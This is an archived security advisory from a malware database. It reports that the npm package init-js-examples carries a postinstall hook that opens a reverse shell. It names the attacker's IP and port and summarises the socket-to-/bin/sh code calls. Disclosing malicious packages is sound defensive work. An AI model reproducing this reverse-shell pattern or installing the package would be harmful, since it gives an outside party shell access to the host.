Malicious code in init-js-examples (npm)
Historical advisory saved 24 Oct 2026 13:17:17 UTC. The publisher may have updated it since then. Latest advisory.
osv · MAL-2026-10996
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6005f6b51f3286b65f92b6c8dd73d51c744f89428bbb238f2186b61b7112e6c2) The package's postinstall lifecycle hook runs setup.js, which opens a TCP socket to the hardcoded remote endpoint 130.61.90.45:4443 and wires the socket's input/output to a /bin/sh child process (net.Socket().connect(4443, "130.61.90.45") with cp.spawn("/bin/sh") and bidirectional pipes between the socket and the shell). Because package.json declares postinstall to invoke this script, running `npm install init-js-examples` automatically grants the remote endpoint interactive shell access on the installer's host, resulting in full remote code execution and a persistent backdoor.
- Source published
- 22 Jul 2026 20:24:58 UTC
- Source modified
- 23 Jul 2026 07:51:42 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.